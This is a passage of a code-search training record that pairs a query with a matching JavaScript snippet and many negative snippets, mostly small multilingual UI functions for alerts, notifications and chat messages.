{\\n\\t\\t\\t\\t\\tSAL718.MAESTROS.LLAVE_MAE = data.LLAVE_MAE; SAL718.MAESTROS.NOMBRE_MAE = data.NOMBRE_MAE;\\n\\t\\t\\t\\t\\t$('#ctaingrTercer_718').val(data.LLAVE_MAE.toString().trim())\\n\\t\\t\\t\\t\\t$('#ctaDescripTercer_718').val(data.NOMBRE_MAE.toString().trim())\\n\\t\\t\\t\\t\\tvalidarTercero718();\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tswitch ($_USUA_GLOBAL[0].PUC) {\\n\\t\\t\\t\\t\\t\\tcase '1': document.getElementById('codPuc_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\\n\\t\\t\\t\\t\\t\\tcase '2': document.getElementById('codCoop_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\\n\\t\\t\\t\\t\\t\\tcase '3': document.getElementById('codPuc_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\\n\\t\\t\\t\\t\\t\\tcase '4': document.getElementById('codOficial_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\\n\\t\\t\\t\\t\\t\\tcase '6': document.getElementById('codPuc_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\\n\\t\\t\\t\\t\\t\\tdefault: document.getElementById('codPuc_718').value = SAL718.MAESTROS.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tvalidarDivision718();\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t});\\n\\t}\\n}\",\n \"function selectButton(e){\\n \\t//A Player vamos agregando en el array las Posicion(o seas el Turno de los Players)\\n \\tvar currentPlayer = listPlayers[turno];\\n \\tif(hasPositionByButton(e)){\\n\\t \\tcurrentPlayer.addNewPosition(e);\\n\\t \\t//Que imprima en el input el turno que le toca\\n\\t \\tsetTurnOnView();\\n\\t \\t//Para Dibujar en el Button\\n\\t \\tdrawButton(e);\\n\\t \\t//Para Validar si hay un ganador\\n\\t \\tValidateWinner(currentPlayer); \\t\\n\\t //Cambiamos el Turno, al que le toca\\n\\t changeTurn();\\n\\t }\\n }\",\n \"function setTunnetutMouseAction() {\\n let tunnetut = document.getElementsByClassName(\\\"tunnettu sana\\\");\\n if (tunnetut != undefined && tunnetut != null && tunnetut.length > 0) {\\n for (let el of tunnetut) {\\n el.onclick = mouseClickActScopePreserver(el);\\n }\\n }\\n\\n let tunnetut2 = document.getElementsByClassName(\\\"tunnettu sana vinkki\\\");\\n if (tunnetut2 != undefined && tunnetut2 != null && tunnetut2.length > 0) {\\n for (let el of tunnetut2) {\\n el.onclick = mouseClickActScopePreserver(el);\\n }\\n }\\n\\n let tunnetut4 = document.getElementsByClassName(\\\"tunnettu vinkki sana\\\");\\n if (tunnetut4 != undefined && tunnetut4 != null && tunnetut4.length > 0) {\\n for (let el of tunnetut4) {\\n el.onclick = mouseClickActScopePreserver(el);\\n }\\n }\\n\\n let tunnetut3 = document.getElementsByClassName(\\\"fade-in tunnettu sana\\\");\\n if (tunnetut3 != undefined && tunnetut3 != null && tunnetut3.length > 0) {\\n for (let el of tunnetut3) {\\n el.onclick = mouseClickActScopePreserver(el);\\n }\\n }\\n\\n return true;\\n}\",\n \"function falso(v) {\\n\\n boton.disabled = false;\\n\\n boton.addEventListener(\\\"click\\\", function () {\\n isNotTrue(v);\\n\\n boton.style.display = \\\"none\\\";\\n });\\n\\n}\"\n]"},"negative_scores":{"kind":"list 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mostrarMensaje() {\n //mostramos un mensaje\n alert(\"¡Nos sorprende tu respuesta!\");\n //cerramos la ventana\n window.close();\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function onMessageArrived(message) {\n console.log(message.payloadString);\n mentrada=message.payloadString;\n document.getElementById(\"tanto\").innerHTML=mentrada;\n\tc=1+1;\n if (mentrada == \"0\"){\n\t\talert(\"No hay alimento en el dispensador\");\n\t}\n\n }","function msgPerdeu() {\n swal({\n title: \"Perdeste!\",\n type: \"error\",\n timer: 3000,\n showConfirmButton: false\n });\n bloqueioBoneco();\n }","function imprimir(mensaje){\n console.log(mensaje);\n}","function imprimir(mensaje){\n console.log(mensaje);\n}","function imprimir(mensaje){\n console.log(mensaje);\n}","function clearSuccessMessage() {\n\n }","function mensajes(respuesta){\n\n\t\t\t\tvar foo = respuesta;\n\n\t\t\t\t\tswitch (foo) {\n\n\t\t\t\t\t\tcase \"no_exite_session\":\n\t\t\t\t\t\t//============================caso 1 NO EXISTE SESSION==================//\n\t\t\t\t\t\tswal(\n\t\t\t\t\t\t\t\t'Antes de comprar Inicia tu Session en la Pagina?',\n\t\t\t\t\t\t\t\t'Recuerda si no tienes cuenta en la pagina puedes registrarte?',\n\t\t\t\t\t\t\t\t'question'\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\tbreak;\n\n\n\t\t\t\t\t\tcase \"saldo_insuficiente\":\n\t\t\t\t\t\t//==============CASO 2 SALDO INSUFICIENTE=======================//\n\n\t\t\t\t\t\tswal({\n\t\t\t\t\t\t\ttype: 'error',\n\t\t\t\t\t\t\ttitle: 'Oops...',\n\t\t\t\t\t\t\ttext: 'Tu saldo es insuficiente para poder realizar la trasaccion, recarga tu monedero e intenta de nuevo',\n\t\t\t\t\t\t\tfooter: 'Puedes recargas tu saldo con nostros mas informacion en nuestras redes sociales'\n\t\t\t\t\t\t})\n\t\t\t\t\t\tbreak;\n\n\n\n\t\t\t\t\t}\n\t\t\t}","inviaMessaggio(){\n if(this.messaggioInputUtente != ''){\n this.contacts[this.contattoAttivo].messages.push({\n date: dayjs().format('YYYY/MM/DD HH:MM:SS'),\n text: this.messaggioInputUtente,\n status: 'sent',\n stileMessaggio: 'message-sent'});\n this.messaggioInputUtente = '';\n setTimeout(()=>{\n this.contacts[this.contattoAttivo].messages.push({\n date: dayjs().format('YYYY/MM/DD HH:MM:SS'),\n text: 'ok',\n status: 'received',\n stileMessaggio: 'message-received'});\n }, 1000);\n }\n }","function sucesso(msg) {\n \t$.notify({\n \tmessage: msg\n\n },{\n type: 'success',\n timer: 1000\n });\n}","function sucesso(msg) {\n \t$.notify({\n \tmessage: msg\n\n },{\n type: 'success',\n timer: 1000\n });\n}","function mensajeOk(mensaje) {\n $(\"#mensaje\").html(\"\");\n $(\"#mensaje\").append(mensaje);\n mostrarMensaje(\"mensaje\");\n ocultaMensaje(\"mensaje\");\n}","function sent() {\n console.info(\"Fine processo d'invio notizie\")\n}","function mensaje (){\n console.log('mensaje de la funcion');\n}","function imprimeMensaje() {\r\n console.log('Hola soy una funcion!');\r\n}","function mensajeBienvenida() {\n console.log(\"Bienvenido a Fabrega!\")\n console.log(\"Ingrese código de artículo a comprar: \")\n console.log(\"0001-Televisor\\n0002-Computadora\\n0003-Heladera\")\n}","function pulsaTecla(e){\n\tif(getOpcionInterfaz('correccion_rapida') && comprueba_pregunta()) preguntaRespondida();\n\treturn false;\n}","function mensaje(mje){\n //creo un div para contener el mensaje\n const div = document.createElement('div');\n //le asigno una clase para su visualizacion\n div.className = `alerta alert alert-warning mensaje`;\n //le agrego un mensaje\n div.appendChild(document.createTextNode(mje));\n //identifico y asigno el objeto contenenedor del div\n const contenedor = document.querySelector('.contenedor');\n //identifico y asigno el objeto para posicionar el mensaje encima del mismo\n const areaSig = document.querySelector('#card'); \n //\n //agregar el div creado al elemento contenedor\n contenedor.insertBefore(div, areaSig);\n // Remover el mensaje de alerta\n //quitar el elemento despues de 2 segundos\n setTimeout(function() {\n document.querySelector('.alerta').remove();\n }, 2000);\n \n}","mostra_successo(msg) {\n\t\tvar contenuto = document.getElementById(\"contenuto\");\n\t\twhile ( contenuto.firstChild != null) {\n\t\t\tcontenuto.removeChild(contenuto.firstChild);\n\t\t}\n\t\t$(\"#contenuto\").append(msg);\n\t\t\n\t}","async function valiMess(event){\n event.preventDefault(); //dont refresh any way\n let mes = document.getElementById('mes').value.trim()\n document.getElementById('mes').value = ''\n if(mes === \"\"){\n alert(\"message required\")\n event.preventDefault()\n return\n }\n\n document.getElementById(\"det\").style.visibility = \"visible\"\n await fetch(\"/addMessage?mess=\"+mes, {method: \"post\"})\n .then(res => res.json())\n .then(response => {\n for (let i in response) {\n if(response[i] === \"disconnected\")\n stopIntervalAndReturn()\n else if(response[i] === \"message required\"){\n alert(\"message required\")\n return\n }\n\n document.getElementById(\"det\").innerText = response[i]\n }\n })\n .catch(err => (console.log(err.message)))\n\n checkNewMessage()\n }","function message(retorno){\n\n if(retorno[0] == 'msg'){\n let msg = $('').addClass('alert alert-'+retorno[1]+' alert-dismissible fadeshow col-md-12');\n msg.append($('').addClass('close').attr('data-dismiss', 'alert').html('×'))\n msg.attr('align', 'center').append(''+retorno[2]+'
');\n msg.css('box-shadow', '2px 2px 3px #000');\n\n $('#dinamic').find('div #msg').remove();\n $('#cadastrarProduto, #estoque, #editEstoque, #editarProduto, #cadastrarMarca, #cadastrarCategoria, #vendaPainelTable').\n parent().prepend($('').attr('id', 'msg').addClass('row mb-5').html(msg));\n }\n}","function Mensajes(mensaje) {\n if (mensaje == 'Transaccion realizada correctamente')\n $().toastmessage('showSuccessToast', mensaje);\n else\n $().toastmessage('showErrorToast', mensaje);\n}","function showMessageMittente(text){\r\n\tif(text == \"\")\r\n\t\treturn;\r\n\r\n\tif(lastSender == IS_LAST_NON_SPECIFICATO || lastSender != IS_LAST_MITTENTE){\r\n\t\tlastSender = IS_LAST_MITTENTE;\r\n\t\tchangeLastSender();\r\n\t}\r\n\r\n\tshowMessage(text);\r\n}","function BasariMesaj( text){\n\t text = jQuery.trim(text); \n\t var dil = \"Tebrikler !\";\n\t if( strcmp( er.lang, \"en\" ) == 0 )\n\t dil = \"Congratulations !\";\n\t if( $(\".msgGrowl-container\").find(\".msgGrowl\").length <= 1 ){ \n\t $.msgGrowl ({\n\t element: $('body').parent(),\n\t type: 'success', //$(this).attr ('data-type') // info success warning error\n\t title: dil,\n\t text: text.charAt(0).toUpperCase() + text.slice(1) // capitialize first character\n\t });\n\t }\n\t }","function mensaje(){\n\n\talert(\"Mensaje de Bienvenida\");\n}","function message(ar) {\n\tif(ar==1){\n\t document.getElementById('successMsg').innerHTML +=\n\t \"Projekt wurde genehmigt!\";\n\t}\n\telse{\n\t\tdocument.getElementById('successMsg').innerHTML +=\n\t\t\t \"Projekt wurde abgelehnt!\";\n\t}\n\t var element = 'snackbar';\n\t $(function(){\n\t\t\t$(function(){\n\t\t\t\t$('#'+element).addClass('animated slideInUp');\n\t document.getElementById(\"snackbar\").style.visibility = \"visible\";\n\t\t\t\t$('#'+element).one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function(){\n\t\t\t\t\t$('#'+element).removeClass('animated slideInUp');\n\t\t\t\t\t$(function(){\n\t\t\t\t\t\t$('#'+element).addClass('animated slideOutDown delay-3s');\n\t\t\t\t\t\t$('#'+element).one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function(){\n\t\t\t\t\t\t\t$('#'+element).removeClass('animated slideOutDown delay-3s');\n\t\t\t\t\t\t\t$('#'+element).remove();\t\n\t\t\t\t\t\t});\n\t\t\t\t\t});\t\n\t\t\t\t});\n\t\t\t});\n\t\t});\n\t}","function showComingMsg(data) {\r\n addMsg(data, \"someone-else\");\r\n}","function nack() {\n Twibble.messages.unshift(message);\n Twibble.sendMessage();\n }","function noop() {\n console.warn('Hermes messaging is not supported.');\n }","function probando(req, res) {\n res.status(200).send({ message: 'Probando desde del controladaor Message.' });\n}","function message(msg) {\n var status = document.getElementById('status');\n status.textContent = msg;\n setTimeout(function() {\n status.textContent = '';\n }, 1500);\n}","TheMessage(msg) {\n return;\n }","function ack() {\n Twibble.sendMessage();\n }","mostrarSaludo(mensaje){\n\t\treturn mensaje;\t\n\t}","function mensajemodal(mensaje, titulo = \"ATENCIÓN\") {\r\n swal({\r\n title: titulo,\r\n text: mensaje\r\n },\r\n function () {\r\n swal.close();\r\n $interval.cancel(interval);\r\n });\r\n var interval = $interval(function () {\r\n swal.close();\r\n $interval.cancel(interval);\r\n }, 3000);\r\n }","function mensajemodal(mensaje, titulo = \"ATENCIÓN\") {\r\n swal({\r\n title: titulo,\r\n text: mensaje\r\n },\r\n function () {\r\n swal.close();\r\n $interval.cancel(interval);\r\n });\r\n var interval = $interval(function () {\r\n swal.close();\r\n $interval.cancel(interval);\r\n }, 3000);\r\n }","function envoiMessage(mess) {\r\n // On recupere le message\r\n var message = document.getElementById('message').value;\r\n\r\n // On appelle l'evenement se trouvant sur le serveur pour qu'il enregistre le message et qu'il l'envoie a tous les autres clients connectes (sauf nous)\r\n socket.emit('nouveauMessage', { 'pseudo' : pseudo, 'message' : message });\r\n\r\n // On affiche directement notre message dans notre page\r\n document.getElementById('tchat').innerHTML += ''+pseudo+' : '+message+'';\r\n\r\n // On vide le formulaire\r\n document.getElementById('message').value = '';\r\n\r\n // On retourne false pour pas que le formulaire n'actualise pas la page\r\n return false;\r\n}","function msg() {\r\n\t\tsetTimeout(function () {\r\n\t\t\tif(message !== lastMessage) {\r\n\t\t\t\t//client.sendMessage(chanObj, message);\r\n\t\t\t\tchanObj.send(message);\r\n\t\t\t\tlastMessage = message;\r\n\t\t\t}\r\n\t\t\tmsg();\r\n\t\t}, 100);\r\n\t}","function setMsg(msg) {\n\tif (msg != \"\") {\n\t\t$('#signal-msg').html(msg).fadeOut(1000);\n\t\treturn true;\n\t}\n\treturn false;\n}","static messageNoData() {\n //\n noDataMessage.style.display = 'block';\n }","function noThanks () { \n console.log (\"OK, maybe another day. Bye!\"); \n}","function saludo3(mensaje){\n console.log(`Hola buen dia 3 ${mensaje}`);\n }","function emitirAviso(mensagem, id, tempo){\n let snackbar = document.getElementById(id);\n snackbar.innerHTML = mensagem;\n snackbar.className = \"show\";\n setTimeout(function(){snackbar.className = snackbar.className.replace(\"show\", \"\"); }, tempo);\n}","function inviaMessaggioUtente(){\n var text_user=($('.send').val());\n if (text_user) { //la dicitura cosi senza condizione, stà a dire text_user=0\n templateMsg = $(\".template-message .new-message\").clone()\n templateMsg.find(\".text-message\").text(text_user);\n templateMsg.find(\".time-message\").text(ora);\n templateMsg.addClass(\"sendbyUser\");\n $(\".conversation\").append(templateMsg);\n $(\".send\").val(\"\");\n setTimeout(stampaMessaggioCpu, 2000);\n\n var pixelScroll=$('.containChat')[0].scrollHeight;\n $(\".containChat\").scrollTop(pixelScroll);\n }\n }","function nota(op,msg,time){\n if(time == undefined)time = 5000;\n var n = noty({text:msg,maxVisible: 1,type:op,killer:true,timeout:time,layout: 'center'});\n}","function setSucessMessageWithFade(message){\n setSucessMessage(message);\n setTimeout(function() {\n setSucessMessage('');\n }, 3000);\n }","function chatbotResponse() {\n botMessage = \"Introduzca la respuesta correcta por favor\"; //the default message\n\n if (lastUserMessage === \"si\" || lastUserMessage === \"Si\") {\n botMessage = \"Perfecto\";\n }\n\n if (counter === 0) {\n counter = 1;\n botMessage =\n \"Soy tu asesor DAP legal, ¿Quieres que te ayude a formalizar un préstamo?\";\n }\n}","function OnSuccessCallMaladie(data, status, jqXHR) {\n\t\t\tnotif(\"success\", \"Brief envoyé avec succès !\");\n\t\t}","HandleMessage( msg ) {\n return false;\n }","function checkMessages() {\n messageBackground({\n action: 'check messages'\n });\n}","function quitarMensaje() {\n document.getElementsByTagName('span')[0].textContent = \"\";\n clearInterval(cuentaAtras);\n }","function functionNexMessage(){\n if(messageQueue.length == 0) return;\n\n $(\"#messageArea\").prepend(messageQueue[0]);\n $(messageQueue[0]).fadeIn();\n $(messageQueue[0]).animate({bottom:'0px'},1000);\n\n messageQueue[0].messageTimeout = setTimeout(function () {\n $.when($(messageQueue[0]).fadeOut(500))\n .done(function() {\n $(messageQueue[0]).remove();\n messageQueue.splice(0, 1);\n functionNexMessage();\n\n });\n }, messageLength);\n\n\n\n}","function AnimateMessage() {\n var domain_message = $(\"div.waiting_message\");\n var is_detect = true;\n domain_message.fadeToggle(700);\n if(!domain_message.length) {\n is_detect = false;\n return;\n }\n console.log(is_detect);\n setTimeout(arguments.callee, 700);\n }","limpiarMensaje() {\n const alerta = document.querySelector('.alert');\n\n if (alerta) {\n alerta.remove();\n }\n }","function printErrorMessage(msg){\r\n\t\t console.log(\"in printmessage() message received: \"+msg);\r\n\t\t if(msg != \"\")\r\n\t\t\t setTimeout(printErrorMessage,7000,\"\");\r\n\t\t $(viewLeavesMessage_id).text(msg);\r\n\t\t \r\n\t }","function mostrarAyuda(msg) {\n $.notify({\n message: msg\n }, {\n type: 'info',\n delay: 3000,\n placement: {\n align: 'center'\n },\n z_index: 99999,\n });\n}","function getWelcomeMessage(){\n g.msgNo = 0;\n serverRequest(getParams(\"none\"),false);\n}","function addMesaj(mesaj,disappear)\r\n { \r\n \r\n mesaj[0].id=\"mesaj\";\r\n \tmesaj[0].innerHTML=mesaj.innerHTML;\r\n \tdocument.body.appendChild(mesaj[0]);\r\n\r\n \tvar MessageDisapears=setTimeout(function(){\r\n if(disappear)\r\n { \r\n console.log(disappear);\r\n var m=document.getElementById(\"mesaj\");\r\n document.body.removeChild(m);\r\n }\r\n \t},joc.getMsgDisappears());\r\n }","function ok() {\n timer();\n var msgCopy = $(\"#template .msgpc\").clone();\n msgCopy.find(\".txt\").text(\"ok\");\n msgCopy.find(\".time\").text(timer);\n $(\"#chatwindow .chatsbox.active .chatbox\").prepend(msgCopy);\n }","function sendMessage() {\n sendNewMessage({ dsText: valueInput.trim(), usuario: getUsuarioLogado() });\n setValueInput('');\n }","function messageFailureHandler() {\n console.log(\"Message send failed.\");\n sendMessage();\n}","function messageFailureHandler() {\n console.log(\"Message send failed.\");\n}","function messageFailureHandler() {\n console.log(\"Message send failed.\");\n}","function afficherErreur(message) {\n $('#manitouAlertes').html('' + message).removeClass('manitouAlerteSucces').addClass('manitouAlerteErreur').show().delay(4000).hide(400);\n }","function showMessage(msg){\n $(message).append(''+msg+'');\n runClean(3000);\n}","showAlertAcessoParticipante(sucess_error,mensagem){\n if(sucess_error==='success'){\n const div = document.createElement('div')\n div.id = 'message'\n div.innerHTML = `\n \n \n \n \n \n ${mensagem}
\n \n \n `\n document.getElementById(this.divsIDs.header).insertBefore(div,document.getElementById(this.divsIDs.funciWrapper))\n }\n if(sucess_error==='error'){\n const div = document.createElement('div')\n div.id = 'message'\n div.innerHTML = `\n \n \n \n \n \n ${mensagem}
\n \n \n `\n document.getElementById(this.divsIDs.header).insertBefore(div,document.getElementById(this.divsIDs.funciWrapper))\n }\n setTimeout(() => {\n document.getElementById('message').remove()\n }, 3000);\n }","function sendMessage(){\n //Gets the message that will be sent to the server and put it into variable\n var msgToSend = g.messageBox.value.trim()\n \n //Checks whethers it is null, does not want to send empty string\n if(msgToSend != \"\"){\n //Stops the script from updating every 5 seconds, makes it synchronous,\n //then sends messages and finally makes it asynchronous again.\n clearInterval(g.updateInterval);\n serverRequest(getParams(msgToSend),false);\n g.updateInterval = setInterval(getMessages, 5000); \n g.messageBox.value = \"\"; //clear message box\n }\n}","function messageNoHousehold() {\n addMessage('You aren\\'t a registered member of a household. Click \"Household\" on the navigation menu to create or join a household.', 'error');\n}","_msgCallback(err) {\n if (err) {\n console.log(err);\n // TODO: Handle it by showing a prompt\n }\n\n // Re-enable message composer\n this.setState({\n busy: false\n });\n }","function test(message) {\n return 0;\n}","function HataMesaj( text){\n\t text = jQuery.trim(text); \n\t var dil = \"Hata !\";\n\t if( strcmp( er.lang, \"en\" ) == 0 )\n\t dil = \"Error !\";\n\t if( $(\".msgGrowl-container\").find(\".msgGrowl\").length <= 1 ){ \n\t $.msgGrowl ({\n\t element: $('body').parent(),\n\t type: 'error', //$(this).attr ('data-type') // info success warning error\n\t title: dil,\n\t text: text.charAt(0).toUpperCase() + text.slice(1) // capitialize first character\n\t });\n\t }\n\t }","function sendMessage(){}","function failedsent() {\n console.error(\"Invio delle notizie non riuscito!\")\n $(\"#formerr\").fadeIn(750);\n $(\"#infomsg\").text(\"Invio delle notizie non riuscito!\");\n $(\"#formerr\").delay(3000).fadeOut(2000);\n}","function obtenerMensaje1(campo){\n\tvar mensaje = \"\";\n switch(campo){\n case 'idproraz': mensaje = \"Si modificó algún campo de este módulo debe justificar.\";\n\tbreak;\n\t}\n\treturn mensaje; \n\t\n}","function alertNotificar(texto, tipo){\n PNotify.removeAll()\n new PNotify({\n title: 'Mensaje de Información',\n text: texto,\n type: tipo,\n hide: true,\n delay: 7000,\n styling: 'bootstrap3',\n addclass: ''\n });\n }","function showMessageDestinatario(text){\r\n\tif(text == \"\")\r\n\t\treturn;\r\n\r\n\tif(lastSender == IS_LAST_NON_SPECIFICATO || lastSender != IS_LAST_DESTINATARIO){\r\n\t\tlastSender = IS_LAST_DESTINATARIO;\r\n\t\tchangeLastSender();\r\n\t}\r\n\r\n\tshowMessage(text);\r\n}","function notif(message, success){\n success = (typeof success !== 'undefined') ? success : true;\n $('' + message + '')\n .prependTo(\"body\")\n .fadeIn('fast')\n .delay(5000)\n .fadeOut('fast')\n .queue(function(){$(this).remove()});\n}","function checkMessage(inputMsg) {\n if(inputMsg == undefined){\n return \"\";\n }\n else{\n return inputMsg;\n }\n }","function notyMessage(statue) {\n $.noty.defaults.killer = true; //closes existing notys\n noty({\n text: 'Congratulations, you found ' + statue.name + '. X ',\n layout: 'topCenter',\n closeWith: ['click'],\n type: 'success'\n });\n}","registeredMsg() {\n return 'You are already regsitered!';\n }","function ClearStatusMsg() \n {\n\n SetStatusMsg(\"StatusMsg\", \"\");\n }","function mensagem(texto) {\n $(\"#erro p\").text(texto).addClass('alert-danger').addClass('alert');\n\n if (texto)\n $(\"#erro\").show(\"slow\");\n else\n $(\"#erro\").hide(\"slow\");\n\n setTimeout(function () {\n $(\"#erro\").hide('slow');\n }, 3000);\n}","function limpaMensagens() {\n $rootScope.messages.length = 0;\n }","function process_event(event){\n // Capturamos los datos del que genera el evento y el mensaje\n var senderID = event.sender.id;\n var message = event.message;\n \n // Si en el evento existe un mensaje de tipo texto\n if(message.text){\n console.log('=========MENSAJE DE ============')\n console.log('Mensaje de ' + senderID);\n console.log('mensaje: ' + message.text);\n\n if(message.text === 'Integrantes'){\n enviar_texto(senderID, {\n \"text\": '-Flores Olegua Johan Rafael 1910082' + ' ' +'-Pozo Aquino Erick Junior 1316534' + ' ' +'-Arroyo Caseres Juan Carlos ',\n })\n }\n if(message.text === 'integrantes'){\n enviar_texto(senderID, {\n \"text\": '-Flores Olegua Johan Rafael 1910082' + ' ' +'-Pozo Aquino Erick Junior 1316534' + ' ' +'-Arroyo Caseres Juan Carlos ',\n })\n }\n}\n \n // Enviamos el mensaje mediante SendAPI\n //enviar_texto(senderID, response);\n }","function notifyFail(msg) {\n const notifcns = document.querySelector('#notifications');\n if (notifcns) notifcns.remove();\n document.querySelector('nav .notifications .counter').textContent = ' ! '; // note U+2005 ¼ em spaces\n const notificationsHtml = `${msg}`;\n document.querySelector('nav .notifications').insertAdjacentHTML('beforeend', notificationsHtml);\n document.querySelector('nav .notifications').classList.remove('hide');\n }","function displayMessage(msg) {\r\n $('#msg').bind(\"DOMSubtreeModified\", function () {\r\n window.setTimeout(function () {\r\n $(\".alert\").fadeTo(500, 0).slideUp(500, function () {\r\n $(this).remove();\r\n document.getElementById(\"msg\").classList.toggle(\"frente\");\r\n });\r\n }, 2500);\r\n });\r\n // Acrescenta classe à DIV para ficar à frente da DIV branca-transparente\r\n document.getElementById(\"msg\").classList.toggle(\"frente\");\r\n // Insere os dados da mensagem de alerta na DIV e exibe a mensagem\r\n $('#msg').html('' + msg + '');\r\n}","function piman_send_message(msg,error){\n msg = '' + msg + '';\n\n $(window).scrollTop($('body').position().top)\n\n $(\"#notifications_content\").html(msg)\n .addClass(error ? 'error' : 'success');\n\n $(\"#notifications\")\n .toggle()\n .delay(5000).fadeOut()\n .click(function(){$(this).stop(true,true).fadeOut()});\n\n}","_ackSendMessageHandler(json){\n\t if (json.user !== CooperativeEditorParticipants.userName ){\n \t\t\tthis.domHost.playTTS(json.user);\n \t\t}\n\n \t\tthis.push('messages', {\"user\": json.user, \"message\": json.message, \"time\": json.time});\n \t\tthis.domHost.playSound(\"sendMessage\", json.effect, json.position);\n \t\t\n \t\tthis.isTyping = false;\n }","function ChatMessage() {\n if (document.getElementById(\"chatSend\").value.trim() != \"\") {\n var ChatMsg = document.getElementById(\"chatSend\");\n ChatUser(ChatMsg.value);\n //ChatAdmin(\"Please wait\");\n // var blMsg = SendNewMsg(ChatMsg.value);\n // if (blMsg) {\n // cntMsg = cntMsg + 1;\n // }\n //alert(\"End\");\n\n // var blMsg = CallSendMsg(cntMsg);\n // if (blMsg) {\n // cntMsg = cntMsg + 1;\n // }\n var blMsg = ShowAdminMessage(ChatMsg.value);\n if (blMsg) {\n cntMsg = cntMsg + 1;\n }\n\n //ChatSuggestions(\"test2\");\n ChatMsg.value = \"\";\n return false;\n }\n}","function _noconn()\n\t{\n\t\tUTILS.msgbox(\"You do not have a good enough signal to complete the request. Please try again later.\", \"No Connection\");\n\t}","function Fnc_BuscarInformacionHogar(s, e) {\n\n if (txtIdentidad.GetText() != \"\" || txtHogar.GetText() != \"\") {\n var NumHogar = (txtHogar.GetText() == \"\") ? 0 : txtHogar.GetText()\n if (txtIdentidad.GetText() != \"\") {\n if (txtIdentidad.GetText().length != 13) {\n $(\".warning\").hide()\n $(\"body\").waitMe(\"hide\")\n $(\"#Error_text\").text(\"error dede de ingresar un numero de identidad valido\")\n $(\".error\").show()\n return 0;\n }\n }\n Fnc_PeticionInformacionHogarSuspender(NumHogar, txtIdentidad.GetText())\n\n } else {\n $(\".warning\").hide()\n $(\"body\").waitMe(\"hide\")\n $(\"#Error_text\").text(\"error no debe de haber campos vacios\")\n $(\".error\").show()\n }\n\n}","_createMessage() {\n let messageArr = ['абонент', 'абонента', 'абонентов'];\n\n function createMessage(number, startWord) {\n let endMessage = null;\n let startMessage = (number === 1) ? startWord : (startWord + \"o\");\n\n if(number === 1) {\n endMessage = messageArr[0];\n } else if (number == 12\n || number == 13\n || number == 14) {\n\n endMessage = messageArr[2];\n } else if( number.toString()[number.toString().length - 1] === '2'\n || number.toString()[number.toString().length - 1] === '3'\n || number.toString()[number.toString().length - 1] === '4') {\n\n endMessage = messageArr[1];\n } else {\n endMessage = messageArr[2];\n }\n\n return startMessage + \" \" + number + \" \" + endMessage;\n }\n\n noty({\n text: createMessage( (this._correctData.length), 'Загружен'),\n type: 'success',\n timeout: '3000'\n });\n\n if(this._inCorrectData.length) {\n noty({\n text: createMessage( (this._inCorrectData.length - 1), 'Не загружен'),\n type: 'error',\n timeout: '3000'\n });\n }\n }","limparMsgAlert() {\n divMsg.innerHTML = \"\";\n\n\n }","function congratsMessage(){\n\tif (matchedCards.length === 16){\n\t\tsetTimeout(function(){\n\t\t\ttoggleModal();\n\t\t\t},1000);\n\t\tstopTimer();\n\t}\n}","function callbackValidation(msg){\n swal({\n title: msg,\n text: 'por favor revise sus datos',\n imageUrl: '../assets/img/callback/missing.png',\n imageHeight: 90,\n animation: true,\n confirmButtonColor: '#4fa7f3'\n })\n}","function warn(msg){\n\t\t\n\t\tflashCount = 0;\n\t\t\n\t\tif ( null == msg ){\t\n\t\t\tfaultMsg=\"The inverter has faulted!\"; \n\t\t\t$(\"#alarmMessage\").html(\"The inverter has faulted!\");\n\t\t} else {\n\t\t\tfaultMsg=msg;\n\t\t\t$(\"#alarmMessage\").html(\"FAULTS:\"+msg);\n\t\t}\n\n\t\t$(\"#alarm\").show();\n\t\tif ( !booFault ) {\n\t\t\tbooFault = true;\n\t\t\tscreenFlash();\n\t\t\tsoundAlarm();\n\t\t}\n\t\t\n\n\t}","function mensaje(){\n\treturn 'Hola Mundo JavaScript';\n}","function onSendMessage(){\n var msg = document.getElementById(\"usermsg\").value;\n if(msg == \"\") alert(\"assicurati di inserire il testo da inviare\");\n else {\n if(sex == \"lui\")\n msg = \"newMsg \" + name + \": \" + document.getElementById(\"usermsg\").value + \"\";\n\telse\n msg = \"newMsg \" + name + \": \" + document.getElementById(\"usermsg\").value + \"\";\n //alert(msg);\n connection.send(msg);\n document.getElementById(\"usermsg\").value=\"\";\n }\n}","function testingMSGS(){\n \n}","function mensaje(){\r\n document.write(\"Holissss\");\r\n document.write(\"*************\")\r\n}","function submitMsg() {\n // only submit messages\n if(ctrl.inputMsg.length > 0) {\n SocketService.submitMsg(ctrl.inputMsg);\n\n // empty the message box\n ctrl.inputMsg = '';\n }\n }","function removeMSG(msg) {\n setTimeout(function () {\n var Idx = msg.Msg;\n var isConf = !!msg.UID;\n\n var message = document.getElementById(isConf ? \"conf-\" + msg.UID + \"-\" + Idx : \"priv-\" + Idx);\n\n if (message){\n message.innerHTML = \"\";\n }\n }, 100);\n }"],"string":"[\n \"function onMessageArrived(message) {\\n console.log(message.payloadString);\\n mentrada=message.payloadString;\\n document.getElementById(\\\"tanto\\\").innerHTML=mentrada;\\n\\tc=1+1;\\n if (mentrada == \\\"0\\\"){\\n\\t\\talert(\\\"No hay alimento en el dispensador\\\");\\n\\t}\\n\\n }\",\n \"function msgPerdeu() {\\n swal({\\n title: \\\"Perdeste!\\\",\\n type: \\\"error\\\",\\n timer: 3000,\\n showConfirmButton: false\\n });\\n bloqueioBoneco();\\n }\",\n \"function imprimir(mensaje){\\n console.log(mensaje);\\n}\",\n \"function imprimir(mensaje){\\n console.log(mensaje);\\n}\",\n \"function imprimir(mensaje){\\n console.log(mensaje);\\n}\",\n \"function 